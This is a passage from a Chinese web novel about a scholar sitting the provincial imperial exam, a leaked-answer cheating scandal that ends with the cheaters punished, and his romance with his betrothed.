宋泊无奈地抬手扶住额头,“你买得,其他人肯定也买得,到时乡试一考,大家的答案如出一辙,你说知州会如何处理?” 不知道究竟是何人想要发这笔科举财,他这一卖,害了自己不说,还害了广大学子。贩卖主使或许自己有通天本领,出了事也能全身而退,可参考学子多是寒门出身,考到乡试已然不易,到时又被当做作弊抓了起来,岂不是得不偿失。 “对啊!我怎么没想到这点!”路砚知猛敲了自己脑袋一下,一买着答案他便忘乎所以,考试中最忌讳雷同卷,他写出的答案可不能与他人雷同。 “那不是买了废纸。”路砚知丧了气,“还花了我二十两银子呢。” 宋泊倒是被这答案的价格给吓着了,区区几张纸便卖出二十两的高价,难怪会有人铤而走险做这种贩卖答案的事儿。 “也不尽然。”宋泊安慰着路砚知,“这上头的题确实是乡试风格,你按着这题自己写个三篇、五篇答案出来,应该也会有所收获。” “真的?”路砚知抬眸看着宋泊。 宋泊点了头,“真的。” “既然宋弟这么说,那我就把题头抄下来,剩下的烧了去。”路砚知说着又兴奋起来,当即便打算窝在自己的书桌前把题目重新抄在一张纸上。 “路兄。” “诶?” “事情既然解决了,可否将窗子打开。”宋泊拿着袖子一抹额头上的汗,夏季还是夏季,这门窗紧闭一阵儿便热得人浑身冒汗,“实在是热得慌。” “好好好,马上开,马上开。”路砚知不好意思地笑了一下,立即将宿舍内的两个窗户打开来,窗户一开,微凉的风吹到宋泊的面上,驱散了夏季的热气。 宋泊提起笔重新温习着今日夫子所教知识,写下两张以后,身后传来烧纸的动静,路砚知把他买来的价值二十两的乡试答案烧了,烧之果断,连眼睛都未眨一下。 宋泊当路砚知是自己的朋友,自然想他与他一起,两人一块儿考过乡试,不过他能做的只是嘴上提上几句,真正做出行动的人还是路砚知本人,还好,路砚知十分信任他,真的只抄了题目就把东西烧了。 如此倒让宋泊起了几分感动之心,有人如此信任自己原来是这般感觉。 一周过去,宋泊有意注意着学子之间可有乡试答案流通的痕迹,不过不知是贩卖者隐藏得太好,还是他是有意挑选贩卖的客户,总之宋泊确实是一点儿风声也没听着。 不过这也是别人的事,宋泊没有闲到要去跟连教谕举报,一来举报以后连教谕定会唤他过去询问事情的详细情况,占用他复习乡试的事件,二来买了那些答案的人都想着投机取巧,如此对正常温习功课的考生不公平,在考场上被知州发现也是好事一件。 这般想来,宋泊便将这贩卖答案的事儿抛到了脑后,并且嘱咐着路砚知,让他记住题目后便把题目纸也烧了,别人提起也说自己不知道,将自己剥出贩卖答案这事儿当中。 如此相安无事着,到了八月初九,乡试的第一场考试开始了。 第124章 第一百二十四章乡试。 宋泊拿着银湖州贡院发的卷子走进号房内,这号房大小只有一平方米左右,三面皆为墙,正面没有门,只有挂帘挂着充当门。号房内一共两块木板,一块木板固定在墙面上做桌用,另一块用来作凳子用,夜了要睡觉便将这两块木板合并起来,勉强可以当床使用。号房内没有如厕的地方,考生得自配一个马桶,考试期间吃喝拉撒睡都得在这个一平方米的号房内,宋泊虽没有洁癖,可这号房条件如此之差,要让他在这样狭小的空间内度过三日简直是一件痛苦的事情。 宋泊深吸了口气,做好心理准备,走入号房内。他将卷子放置在桌上压好,然后将考试用品从考篮内拿出来。 笔墨纸砚四样必备之物摆在桌子上,其他东西诸如水袋、被褥等暂且放在考篮之中。 宋泊坐在凳子上,边磨砚,边读题,号房内禁止交谈,一片静谧之中考卷上的字一个一个映入他的脑海之中。 乡试的卷子就是比前两场考试难些,宋泊磨好墨,用毛笔轻沾墨水,在草纸上写写涂涂做草稿,将近过了一个时辰,他才在正式的卷子上落笔。 写卷子的时间过得迅速,入了夜,宋泊点着蜡烛将第一题写完,便把被褥从考篮中拿出来,准备歇息。官差在正午的时候来了一趟,给每位考生发了四个馒头,这便是今日的中餐和晚餐。 四个馒头哪儿扛得住饿,宋泊躺在两个木板拼成的简易床板上,只觉肚子饿了,有种要叫唤的感觉。 号房都建在一处,空气中弥漫着难闻的气味,宋泊在脑海中构思明日要写的文章,不知不觉便睡了过去。 约莫睡了两个时辰,宋泊便把简易的床拆了,重新坐起来继续答题。 八月的天最是热,东西放着没一会儿就会臭了去,宋泊就在难捱的臭气中过了两日,八月初十响铃时交了卷子,从号房中出来。 乡试共考三场,八月初九、八月十二、八月十五各一场,每场考两日,八月十一和八月十四可以离开考场,但需准时在下一场考试之前重新赶回贡院。 考生们同一时间交了卷子,待所有人的卷子都收好后,有官差过来统一拉开号房门帘,放考生们出来。 宋泊一脚踏出号房,贪婪地呼吸着外头的新鲜空气,号房内的味道简直是凡人所难忍,宋泊从睡起来后,便以口呼吸,降低那些恶臭气味对他的影响。 “宋弟!”路砚知也从号房中出来,他俩的号房距离不远,他一眼便瞅着宋泊的身影。 “路兄。”宋泊转头与路砚知打招呼。 路砚知的精神有些萎靡,不过说话的气性还是很足,“那里头可真不是人待得,我隔壁号房的学子拉肚子,那味道”路砚知皱眉捂着口鼻。 两人聊着天从贡院出来。 江金熙在贡院外等着,宋泊参加乡试这般大事,他自然得陪着,好在两月前他招着个满意的大夫,医馆内的事儿无需他担心。 在一大批考生之中,江金熙眼睛尖,瞧着宋泊从贡院走出来,他迎了上去,只是还未靠近便被宋泊和路砚知身上的味儿给熏着,不好再往前走。 宋泊见他与江金熙之间的距离足有百米,便问着:“你怎么离我这般远?” 江金熙斟酌了下语言,说道:“你身上有股味道,我不好接近。” 经过江金熙的提示,宋泊才抬起双手闻着衣袖,确实是有股味儿,不过因着他在那股味儿里待了太久,嗅觉已经适应,便闻不太着,只能隐隐约约觉着有些味道。 路砚知也赶紧抬着自己的衣袖闻着,味道就跟在号房中一般,甚至他比宋泊还臭一些。 “那我们便离你远些,可别把这味儿染在你身上。”宋泊说着,拉着路砚知往后退了几步,跟江金熙拉开两百米的距离。 霞县没有他俩的地产,宋泊和江金熙便定了个客栈,好在之前院试已经来过一趟,现下熟门熟路也好找地儿。 宋泊和路砚知刚进店儿,店掌柜便闻着一股味儿,这味儿他熟悉得很,每三年都会在参考学子身上出现,故而他只是抬手以袖捂脸,与宋泊和路砚知说道:“宋公子、路公子,等会将衣服脱下来跟店小二说声就是,我们会帮你洗的。” 江金熙觉着有些新奇,好奇道:“贵店还有帮人洗衣裳的服务?” “别人自然是没有。”店掌柜谄媚地笑着,“宋公子和路公子是贵客,贵客当然有与他人不同的服务。” 路砚知高兴地说道:“好啊廖掌柜,等我回去与大伯说,大伯定会给你发奖金的。” 有人帮忙洗这臭气熏天的衣裳,路砚知乐于省事。 宋泊也是沾了路砚知的光,在房内沐浴完毕以后,自个儿拿着脏衣服找了店小二。 见宋泊回来,江金熙问:“怎么不让我帮你拿?” “那衣服实在太臭,你碰了肯定受不了。”宋泊换了身洁净的衣裳,身上的臭味祛了去他才敢坐在江金熙身侧,要知道他为了祛那一身味道,头发洗了三次,身子搓了两次,直到闻不出味来,他才从浴盆里出来。 “号房内如何?”江金熙扯过一条布巾,给宋泊擦头发。 虽说现在是八月的天,天气炎热头发一会儿就能干,但为了不给病气任何侵入宋泊的机会,江金熙还是坐在床上,让宋泊坐在他面前的小凳子上,给他擦头发。 “不好玩。”宋泊道,回到江金熙身旁他才敢大胆发牢骚,“房间很小,墙角放了个马桶,床板得由桌板和凳子板拼凑起来,我半夜睡着都怕它翻个身塌了。” “听着好是可怜。”江金熙笑着道。 “一想着之后还有四日,我就脑袋疼。”宋泊道。 古代就是这点儿不好,考试场所简陋,时间线又拉得太长,八月初九到八月十六之间虽有休息时间,可休息一日后便有下一场考试,这下谁敢休息,都得卯足了劲儿读书。 “哪儿疼?我给你按按。”江金熙将布巾披在宋泊的脑袋上,两只白皙的手隔着布巾按着宋泊头上的穴位。 宋泊本来想说不用,他只是随便说说,但抵不住江金熙按摩的手法太好,将他脑袋中的混沌思绪全都按走了去,脑袋一放空,宋泊便脑袋一歪,靠在江金熙的大腿上睡着了。 右手忽的一沉,再配合上宋泊歪头的动作,江金熙便知道他睡着了。 还好现在头发擦干了,也不怕宋泊睡去。 考科举果然是个熬人心智的事儿,号房内环境条件那么差,还得硬顶着在里头写字答题,身体与头脑遭受双重摧残,宋泊会经不住睡着也是合情合理。 只是宋泊体重比他重上许多,他要是硬要把宋泊拖到床上来,动静巨大肯定会把宋泊吵醒,他好不容易能睡个觉,江金熙不想吵醒他。 江金熙将湿润的布巾团成团往外一丢,布巾落在地上没发出多大的响声,接着他右手撑着床,左手努力往外伸,食指尖够着枕头的边沿,小心扯过枕头垫在宋泊的脑袋底下,将自己的双腿解救出来。 被宋泊枕了一会儿,右腿都麻了,江金熙挪着双腿坐在床沿,等着那股麻劲过了之后,才从床上拿起一条被单,仔细穿过宋泊的手臂底下,盖在他的腹上。 现下将宋泊整个人用被子盖起来,肯定会把他热醒,反正八月天气热,只要盖着腹部不要受凉就行。 把宋泊安置好后,江金熙把房内的蜡烛都熄了去,只留着窗边一盏蜡烛还在亮着,他坐在椅子上,将行囊里的医书拿出来,这医书本是空白的,由他来记录他在医学上的所见所闻。 宋泊在号房内努力,他在外头也未闲着,他去了霞县里有名的医馆,跟着学了些新的知识,知识过脑容易忘记,还是得用笔写下来才最实在。 一连睡了两个时辰,亥时中宋泊才醒来。 睡醒伸个懒腰,身上骨头嘎吱嘎吱响,腹部上盖着的被子落到地上。 江金熙听着动静,手中笔一停,抬起眸来,道:“你醒啦。” “现在是什么时辰了?”宋泊弯下腰,把被子捡起来抖了抖放回床上。 “应该是亥时吧,但到什么时候了我也不清楚。”江金熙答,他一心沉于医书当中,没太注意时间过了多久。 宋泊从凳子上站起来,走到江金熙身旁,把他身边的蜡烛全都点亮起来,“这么暗对眼睛不好,你自己就是学医的,怎么还只留一盏蜡烛呢。” “我怕蜡烛太亮,把你惹醒。”江金熙道。 宋泊往江金熙身边一挤,两人坐在一张椅子上,他双手环住江金熙的腰,靠在他的肩窝处,道:“无妨,我睡着以后连闪电都闪不醒我,你尽管点灯,几盏蜡烛都亮不醒我。” “哎呀,你作何要跟我坐一张椅子,可热了。”江金熙道,宋泊靠在他身上就像他背了个源源不断冒着热气的火炉一样,实在热人。 “考试累了,想补充点能量。”宋泊撒娇道。 江金熙本想抬手将他推开,听着他这么说,又由着他去了,反正只是抱一会儿而已,他本身就比常人寒些,这般抱着短时间也不会热到出汗。 “后日还有考试呢,可多补充些。”江金熙道。 “那你亲我一下。”宋泊说。 江金熙微微侧过头,在宋泊唇上落下一记轻吻,“考试加油,宋郎。” 第125章 第一百二十五章乡试。 有了江金熙的加油助威,宋泊像加满了油一般,铆足了劲,连八月十二进到号房中的心情都是愉悦的。 不过一日时间,官差只是将马桶倒了干净并未清理,那股味儿还在,令人难受。能在这般环境下静心考试的人,当真是忍凡人之难忍。 第二场考试与第一场考试一样,第一日卯时出进入号房,第二日酉时末从号房中出来。 宋泊双手接过官差发下来的卷子,坐在号房内仔细写了起来,周围环境再恶劣,多坐一会儿总是会适应的。 只是八月的天气阴晴不定,大抵是午时刚过,天便骤然黑了下来,闪穿天际的闪电带着轰隆隆的雷声,一阵突如其来的雷阵雨下了下来。 雨点打在号房顶上的瓦片上,啪嗒啪嗒发出巨响,再加上是不是震动天地的雷声,确实是扰人心智,科举考试本就该凝神静气,现在神被闪电、雷声引走了,气也静不下来。 雷阵雨并不会带走炎热,反而还会将湿气带来加重炎热,如今的宋泊觉着自己就像个进入蒸笼里的包子,又湿又热。 偏生这还不是最惨的,不知是不是这贡院年久失修,甚至有雨水从顶上落下来,抵在号房内。不巧,宋泊所在的号房便是漏雨的号房之一。 宋泊瞧着那一滴滴连绵不断的雨水,在心底叹了口气,希望这雨能早点儿停下,这样他晚上不至于在湿漉漉的房间内歇息。 环境总归是改不了的,他如何别人也如何,在这个时候其实更考验的是考生的心理状态。宋泊想着江金熙还在等着他金榜题名,便将一切外部因素从思绪中驱逐出去,凝神冥想了一会儿,确定自己的心已经沉了下来,这才睁开眼,重新投入作答当中。 雷阵雨来得快去得也快,申时初天就放了晴,又热了起来。 宋泊将毛巾用喝的冷水打湿一小处,而后带在脖子上,以此降一些温度。这般熬着,终于熬到晚上,宋泊先将两块木板拼起来,接着坐在简易床上,揉着自己写酸了的手。 古代科举真是个磨炼心智的考试,不少学子一次未中便一直考着,考到七老八十还在考的人也不是没有,宋泊由心佩服他们的毅力。 胡思乱想之中宋泊身体一斜躺在木板上,没一会儿便睡着了去。 宋泊睡醒时只觉着自己的后背在发烫,还好夜间温度降了下去,不然他指定会被热醒的。 睡醒后的宋泊将两块木板掰开,又坐在桌前写了起来。 有些写得慢或者没思绪的考生干脆就舍弃了睡眠时间,一心埋在考试当中,他们可以可宋泊不行,无论如何,总得睡上两个时辰,养精蓄锐之下才可清醒头脑,对第二日的作答可谓是百利而无一害。 第二日宋泊的作答十分顺畅,一点儿卡顿也无,在官差收卷之前就把答卷整理好,出号房时一身轻松。 八月十五日,乡试第三场考试。 江金熙实在不明白究竟是何人定的这乡试考试时间,能供挑选的时间那般多,八月也是拥有三十一日的大月,作何非得定在八月十五日中秋节这日考试。 尽管江金熙心中不解,但还是得按着乡试公告的考试时间来,不过中秋节他没想随便放了,前一日休息时,他趁着宋泊在客房内读书,外出买了月饼,只等着宋泊第二日起来与他短暂的过段中秋节。 宋泊按着生物钟准时起床,今日的衣裳也是换过了的新衣裳,整个人透着干净、清爽。 江金熙难得没有赖床,宋泊醒了,他也跟着一道儿醒了。 正在检查文具的宋泊听着床侧传来动静,转眸看去江金熙正从床上爬下来,他便说道:“还早呢,你还能再睡一会儿。” “今日可睡不得。”江金熙揉了把眼,穿上放在床边的鞋子,他打开房门,喊店小二将他昨日寄在店里的月饼送上来。 瞧着江金熙刚起床就兴致勃勃,让宋泊有些好奇。 店小二很快就将江金熙买的月饼送了上来,江金熙接过月饼,给店小二塞了二钱当做赏钱,得了店小二一声谢后,他把房门关上,将月饼摆在房内的圆桌上,“快来瞧瞧。” 宋泊正好检查完了文具,闻言便走了过来,“可是准备了什么?” 江金熙将装有月饼的盒子打开,月饼香气溢出,弥漫在房间内,*“铛铛~是月饼。” 看到月饼,宋泊才想起来今日是八月十五中秋节,他一心扑在科举之上,连中秋节都忘了,“幸好有你提醒,不然我都忘了这个团圆佳节。” “我猜到你可能会忘了。”江金熙拿起盒子旁放着的小刀,将其中一个月饼切成八瓣,捏起其中一瓣送到宋泊口中,“按理来说我不应该在这样重要的时候扰你,但中秋节是团圆节,我总是想过,就只能拉着你陪我任性一次。” 宋泊将口中的月饼嚼化吞下,而后揽住江金熙的后腰,双手一拉,江金熙便离他又近了几分,“江公子头回任性,我怎能不陪呢。”他微微低下头,满怀爱意地看着江金熙,“此次乡试我定一次通过,以后的八月十五我便都能陪你度过了。” “别给自己太大压力。”江金熙稍稍昂头,他任性的本意只是想过个中秋节,并非给宋泊施压。科举之间什么要素都很重要,若是因着他说的话让宋泊的心态发生了变化导致乡试失利,那他可得挖个坑把自己埋了。 “放心,你家宋郎很厉害的。”宋泊刮了下江金熙的鼻梁,在江金熙闭眼躲避的时候,又一下亲吻上他的唇。 江金熙睁圆双眼,抬手捂着嘴,“你干嘛。” “稳过稳过,我自然得吻了才能过。”宋泊调笑道。 之前的县试、院试,江金熙都有亲他,这次乡试的第一场和第二场,江金熙也贯彻了“吻过”这一点,这第三场由他来“吻过”却也合理。 江金熙的脸变得通红,不过科举的日子讲究一个吉利,他便没出手打宋泊,只是嘴上骂了句,“流氓。” “亲不认识的人才是流氓。”宋泊的额头与江金熙的额头相抵,他小声说着:“亲我爱的人,这叫爱之切。” 江金熙忽然蹲下,从宋泊的怀里出来,他把宋泊整理好的行囊塞到宋泊的手中,而后抓着他的手臂往外推,“你快去考试吧,再晚来不及了。” 被江金熙推到客房门外的宋泊忍不住低头笑了,害羞到直接把他赶走的江金熙也是非常可爱,可爱到他只想赶紧考过科举,将江金熙名正言顺、八抬大轿地娶进家中。 第三次坐在号房内,宋泊已经心如止水了,一而再,再而三,第三次便让人麻痹了,这次号房内的味道比前两次还重,好在宋泊能用嘴巴呼吸,勉强还能隔绝一些不好的味道。 他按着之前考试的动作,把文具从考篮里拿出来,研墨等着官差发卷子。除了第一场考试的卷子是由自己从外头官差手里拿进来以外,第二场和第三场的卷子都是由官差发的。 官差将卷子发了下来,第三场考试考策论,策论最是复杂,能考验考生的综合运用能力,也正是因为策论的这种特性,故而考生与考生之间是写不出来雷同卷的。 宋泊随意翻了下卷子,便发现之前路砚知买的那个乡试答案中的题确实出现在考卷上了。 如此想来,路砚知可能真的瞎猫碰死耗子,买到了真实的乡试答案,但这也意味着乡试泄题是事实,不知有多少人与路砚知一样买了乡试答案,只要两人写出雷同卷就是作弊,多人写出一样的答案,那可是重大考试失误了。 不知恒国对于作弊一事是如何处理的,如果要重新考试,他也不怕,毕竟知识都已经装在他的脑海里,在考几次他都能应对自如。 将脑海中的杂绪抛了去,宋泊开始从策论的题干中提取重点,恒国考试允许在题目上圈画,这倒是方便了宋泊答题。宋泊将关键词圈起来,再由关键词延展开来写答案,这般即不会跑题,又能理明思绪。 与今日题干相关的策论题目他看过很多,也跟着写了很多,今日这题算是出到他拿手的题,写来得心应手,思绪顺滑,以致于他还有空可以注意卷面上字的模样,有意将字写得好看精致。 过去一夜,八月十六日酉时末,随着一声铜锣响,为期八天的考试终于结束。 宋泊从凳子上起来,写得入神保持一个动作太久,起来时还有骨头响动的声音。 宋泊走出号房,觉着自己获得了新生,正当他往左、右扭动脖子舒展脖子肌肉时,瞧见宋申闻也刚从号房里出来。 宋泊看见宋申闻,宋申闻也看见了宋泊,只是宋申闻眼里的自信让宋泊有些奇怪。 宋申闻是什么水平,宋泊与他同处一个班级自然清楚,此次乡试的难度不算简单,对宋申闻来说应该是有些吃力的难度,可宋申闻怎的如此自信,甚至瞧着他的眼里还有些蔑视,像是在说此次考试他赢定了一般。 不过宋申闻的事与他又有何干,宋泊扭回脑袋,等着路砚知出来就一起走了。 瞧着宋泊对他熟视无睹,宋申闻放在身侧的手不自觉握紧了拳头,前两次都是你榜首,这次我有神兵相助,拿下榜首只是迟早的事儿,看你还能不能逞榜首的威风。 第126章 第一百二十六章恭喜宋解元!…… “太好了,终于结束了!”路砚知高举酒杯欢呼道。 从贡院出来,宋泊和路砚知在各自的房间洗了澡后,便聚在一起吃晚饭。 宋泊和江金熙一起拿起酒杯与路砚知碰杯,宋泊问道:“路兄今日怎的这么高兴?” 上次院试考完路砚知可是连吃饭的心情都没有,每天都垮着一张脸,直到上了榜才转悲为喜开心起来。 路砚知一口将酒喝光,道:“这不是押着题了吗?” “押题?”江金熙好奇地问道:“何人如此厉害,竟能押着乡试的题目,难道是县学中的夫子?” “不是。”酒劲上来,路砚知什么话都往外说。 宋泊料到他要说什么,早早将房内的门窗都关上,毕竟是与作弊有关的事儿,还是得提防隔墙有耳。不然路砚知本没作弊,被有心人听了去往上一告,那不是冤死了。 “我是从一个同学那儿买的,但我不知道他的答案是从哪儿来的。”路砚知说着又喝了口酒。 买答案,这可是件大事。 江金熙从一开始的好奇变成了担忧,“路兄,作弊可是会被打板子和取消考试资格的,你不会按那答案答了题吧?” 路砚知连连摆手,赶紧把自己与作弊撇清关系,“我听了宋弟的话,那答案我是一眼也没看。”路砚知急得吞了口唾沫,接着说:“宋弟让我只看题,答案自己写,我听他的,每篇策论题目我都写了数十篇文章,这次也是运气好,真出了原题,我顺利地写完了策论,这才高兴。” “还好还好。”江金熙道。 恒国检查作弊的手段除了入考场时的搜身以外,就只能凭考生的答卷判断。听路砚知所说,他买的那个答案是策论答案,策论单给个题,设定了相应的作答字数,每个考生思绪不同,答不出一样的答案,由此抓策论作弊是最好抓的。 路砚知若是按着那个答案答了题,保不准会有被抓的风险。 科举上榜后的特权总是诱人,更何况这还是乡试,考过以后成了举人,就算不再往上考,也有官可以做,故而很多多年考不上或者冲着一举考上的考生就会动歪心思,不被抓着还好,被抓着便是二十大板和终身无法参加科举考试。 虽然江金熙觉着宋泊不会瞧这种歪门邪道一眼,但为了安心,他还是转头问了宋泊,“那你呢?” 宋泊还未说话,路砚知便先替他澄清,“宋弟只看了一眼便叫我把答案烧了。” 江金熙盯着宋泊瞧。 宋泊摇了下头,答道:“我未看。”路砚知把答案拿来时,他只匆匆瞥了几眼,现下过去两个月,看了什么题都忘得一干二净了,。 “那就好。”听到宋泊的回答,江金熙这才真正放下心来。 乡试结束,不管结果如何,总归是暂一段落,三人敞开了吃饭,路砚知喝酒喝得起兴,忽然开始夸起宋泊,“江公子,你不知道我宋弟有多厉害,此次乡试若是没有宋弟,我肯定是卷铺盖走人了。” 江金熙正吃着菜,闻言问道:“路兄怎的突然这么说?” 路砚知满面喝醉了的红晕,他揽着宋泊的肩膀,眼神朦胧地瞧着江金熙,“其实我是想说,你们俩的喜酒什么时候摆?” 没想着这话题变得如此迅速,江金熙夹菜的动作一顿,上次宋泊说这次乡试中了便上门提亲,他转眸偷偷瞄了眼宋泊。 这人喝多了,手都没自己撑着,压在肩膀上实在是重。 宋泊把路砚知搭在他肩膀上的手拿下来,正好瞧着江金熙看来的眼神,之前做出的承诺他一直记着,按着这次乡试的发挥,上榜应当是没有问题,他回答道:“近了,你且备好贺礼就是。” “那我可得备个大大大贺礼。”路砚知双手画了个大圈,“我能有今天都是靠宋弟。” 宋泊把路砚知按回座位上,道:“什么靠我,都是你自己的努力。” “谦虚了。”路砚知歪着身子靠在桌上,说话都不利索了,“我真是好运,能跟宋弟在、在同一间县学、在同一间” 路砚知话都没说完,脑袋一耷拉,趴在桌上睡着了。 现在时候也不早,已经到了亥时中,该收席了,只是这设宴的主人睡了去,宋泊和江金熙还得收拾。 “我把路兄扛回去,你喊店小二来收拾下。”宋泊弯下腰,拉着路砚知的手臂把他抗在身上。 “好。”江金熙乖巧应声。 失去意识的路砚知确实沉,宋泊把他抗回房内,又招呼来一个店小二看着他,如此一套动作下来,换好的干爽衣服又被汗水浸了。 夏天一流汗便容易有味儿,宋泊不想熏着江金熙,回房后又洗了次澡,再换上件干净的衣服。 幸好江金熙这回给他带了不少衣裳,每日换一套也足够。 忙碌的一日过去,子时初,宋泊熄了客房内的灯,爬上了床与江金熙一块儿躺着。 昨日是中秋,月亮圆得像白玉盘,今日的月未有昨日那般圆,但依旧明亮,皎洁的月光从窗户洒进来,宋泊看见江金熙明亮的双眸。 明明到了子时,该是人犯困的时候,江金熙却精神得很,他侧着身,双眼认真地瞧着宋泊,“你今日说的可是真的。” 宋泊知道江金熙提的哪一句,他双手环住江金熙的腰,脑袋微低,“自然是真的。” 江金熙一直不敢问宋泊考得如何,听他这般回答,他才大着胆子问,“这次乡试可是有了把握?” 银湖州地处偏远,乡试录取的名额会比京城附近的城市少些,最多的一次录取了三十五个人。 不过虽然银湖州的上榜率不高,但是做完卷子后宋泊大抵有百分之九十的自信能上榜。 “百分百自然不敢说。”宋泊柔情地看着江金熙,深色的眼眸中映着江金熙的身影,“百分之九十吧。” 百分之九十已经是极高的概率了,宋泊能这么自信地回答,江金熙自然也相信他。 只要宋泊上了榜,他就会将去京城提亲的事儿提上日程。他陪着他度过了三年,就算他不着急,年龄却一年一年往上长。其实年龄对他来说并不重要,虽说恒国内大部分哥儿和姑娘十八岁便会成亲,但他不在意这点儿,若不是碰上了宋泊,他还不知道他几岁才能成婚。最诱惑江金熙的还是那个名头,他想要一场喜宴,是大是小都行,他想要别人知道宋泊是他的夫君,而他是宋泊的夫郞。 自己说来有些羞愧,但江金熙还是说出了口,“上榜后就去京城提亲吗?” 宋泊改换姿势,他拉着江金熙的手放在自己的左胸口,而后坚定着道:“一定去。” “那我便等着你迎我过门。”江金熙的脸微微泛红,让他果然不适合说情话,只是这么简单一句话,就足以让他害羞许久。 宋泊没再回答,他低下头,吻上江金熙的唇。 备考乡试以来,他与江金熙的亲密时间锐减,说到底,宋泊还是个血气方刚的男子,自家香软的爱人就在身边,忍了这么久已经快到极限了。最终的事儿还不能做,亲亲抱抱也能解解馋。 江金熙环住宋泊的脖颈,两人身子相贴,吻得难舍难分。 忽的,江金熙觉着有什么碰着自己,想明白以后他的脸涨红,待一吻吻毕,他深吸了口气,道:“要不要我用手” 医书上说了,男子那欲旺盛,尤其是二十多岁的小伙子,更是处在如狼似虎的年纪,那欲若不疏解出来可是对身体有害,只是他们还未成亲不能做最后一步,那用手应当可以吧? “不、不用。”宋泊一掀被子,让店小二拿了冷水进来,他也是忍得难受,不过泡个冷水澡便好了许多。 店小二再次将浴桶撤走,他满脑子的疑问,路公子的朋友也太爱干净了,一夜洗三次澡。 乡试的成绩没有县试和院试出得那般快,得等上十日至十五日才会张榜出来,宋泊和江金熙便未在银湖州等成绩,反正银湖州离霞县很近,等时候到了再让阿朝载着宋泊来瞧就是。 县学给乡字开头的班级放了假,乡试过后有些人要往上升,有些人不变,有些人可能会退学,变数很大,所以需要等着乡试结果出了以后,在定人员名单。 九月十五日,乡试结果放了榜。 这次出榜比以往慢了十五日,事出反常必有妖,宋泊八月三十一便上了银湖州,硬生生等了十五日,才听到州府放榜的消息。 江金熙不能陪他在银湖州等这么久,九月二日,江金熙便叫阿朝先载他回去,等宋泊看了榜传信回去,阿朝在到银湖州来接他。 这次只他一人,宋泊便不着急去挤着看榜,乡试是整个银湖州秀才的考试,前去看榜的人只多不少,九月虽过了最热的时候,却还是有暑期残留的热气,他不想在张榜最热闹的时候去人挤人,他就等着日头出了,辰时中在悠哉悠哉晃荡过去,到时人少了,他看榜也轻松些。 只是宋泊想得很美好,他不扰别人不代表别人不扰他。 乡试的红榜卯时初便沾在了州府的左墙上,宋泊还在睡梦之中,便听着有人啪啪拍他的门,那声儿响的,像是来催命一般。 宋泊被扰了清梦,不悦地从床上爬起,他一把拉开房门,想瞧瞧究竟是谁,天蒙蒙亮就来吵他。 门外站着之前专门服侍他们这间房间的店小二,店小二满面红光,瞧着宋泊开门便大声喊道:“恭喜宋解元!您中了!” 第127章 第一百二十七章东窗事发。…… 解元,这可是乡试榜首的名儿。 被店小二这声吼着,宋泊的瞌睡虫都被驱散了去,他道:“你说什么?” “我说宋公子您是解元!你中了!还得了第一名!”店小二不厌其烦再次大声说道。 按理来说这个时辰客栈的人都还在休息,可店小二还是打着声喊着,一来这是件喜事,值得大声传报,二来大声说喜讯也能让别人知道客栈住了解元,沾沾喜气。 这可是天大的好消息,宋泊气也消了,立即进屋给店小二拿赏钱。 头人报喜,赏钱自然得给多多的,宋泊一个大手笔,给了店小二五十钱。 店小二开心得嘴都咧到了耳朵边,连连谢道:“多谢解元,解元大气,定能平步青云。” 宋泊点头谢了店小二。 店小二离开后,宋泊关上房门换衣裳准备出门,虽说别人已经报了喜,但总归是眼见为实。只是衣服刚刚换上,又有人来敲门了。 这次敲门的是路砚知,一见宋泊开门,他立刻一个熊抱抱住了宋泊。 “宋弟!我中了!你也中了!”路砚知高兴地欢呼道。 听着路砚知来报喜,宋泊睁大了双眼,他兴奋地拍着路砚知的背,说道:“路兄,你也中了?得了几名?” 路砚知松开宋泊,说:“第三十二名!” “拢共几人上了榜?” “三十二人!” 这般说来,路砚知又是擦着线上了榜,如此他才是奇人,总能占着最后一名上榜。 “你这擦线上榜可是有些悬呐。”宋泊说。 “可不是?”路砚知推着宋泊进屋,将门关好,而后压低了声量与宋泊说:“我跟你说,我这可是捡了漏,好运上的榜。” “何出此言?”宋泊有些奇怪,上榜便是上榜,哪儿还有好运上榜这一说。 “还记得我买的那个答案吗?”路砚知道。 “自然记得。”宋泊答。 路砚知不会平白无故提起这事,定然是发生了什么与那份答案有关。 “乡试出现了雷同卷。”路砚知说:“卷数还不少,足有十几卷,那些人的成绩全都被取消了,刚刚知州还叫人把那些人带到了州府,想来是如江公子所说,要挨板子了。” 说起这事路砚知还有些后怕,若不是宋泊提醒了他,被乡试上榜迷了心智的他,没准也会跟着答案写,成为作弊之人其中一员,被押进州府。 “你怎知谁做了弊?”宋泊问。 “州府贴了告示出来,如此真是偷鸡不成蚀把米,成绩没有不说,还被终身取消了科举资格。”路砚知答。 路砚知一早便挤在看榜人群之中,一瞧着官差不止拿了红榜还拿了一张白榜,他便觉着出事了。果然,官差先贴了白榜,白榜上清清楚楚写着第三场考试出现了雷同卷,并且将雷同卷的部分裁下来贴在白榜之上以做证据。 恒国抓作弊抓得严,尤其是科举的考试之中,抓得更是严重之严。 这次出了考试事故,知州联合众多官员及学界有名的文人雅士,几方会审之后,将结果呈上京城,京城也送了急件下来,认定确实是雷同卷,给了处罚结果。这下知州吃了罚,自然不给那些作弊的人留面子,谁作了弊写在白榜上清清楚楚,可是成了百姓们的话柄。 “你猜我在白榜上头看见了谁的名字?”路砚知说。 “谁?” “宋申闻,也就是你那个小叔。”路砚知回答道,“不,你们分家了,应该说宋申闻才是。” “宋申闻的名字也在上面?”这倒是宋泊没想到的事儿。 “不止如此,我刚刚看榜的时候瞧见他了,他看到白榜时大喊了声不可能,而后他在白榜看了许久,崩溃地出了人群,不过他没走多远就被官差们抓着,押进州府了。”路砚知说。 宋申闻发出的声音太大,以致于路砚知盯着他瞧了许久。 宋申闻竟然也会买乡试答案,想来这人是有些慌不择路了。之前他便觉着宋申闻将他视作敌人,或许就是这个原因,导致他急于求成走了歪路。 “作了弊理应受罚,那是他咎由自取。”宋泊说。 听闻宋泊要去看榜,路砚知激动着说要再去看一次。 宋泊无奈着道:“你不是都看榜了吗?” “想再瞧一眼我名字出现在红榜上的样子。”路砚知笑答。 辰时初,宋泊和路砚知走出客栈,今日天气不错,阳光明媚中微风徐徐,走在街上也不觉着热。 路砚知揽着宋泊的肩膀,自豪道:“你可是解元,等会儿直接去红榜头名看就是。”好似考了解元的不是宋泊而是他一般。 宋泊遭不住路砚知的拉拉扯扯,他一把拉下路砚知的手,说道:“知道了知道了,你别晃我。” 红榜距离客栈不远,两人走了一刻钟便走到红榜之前。 现下距离放榜已经过了一个时辰,榜前人散去不少,有些百姓路过时瞅上一眼,没有卯时初那么挤了。 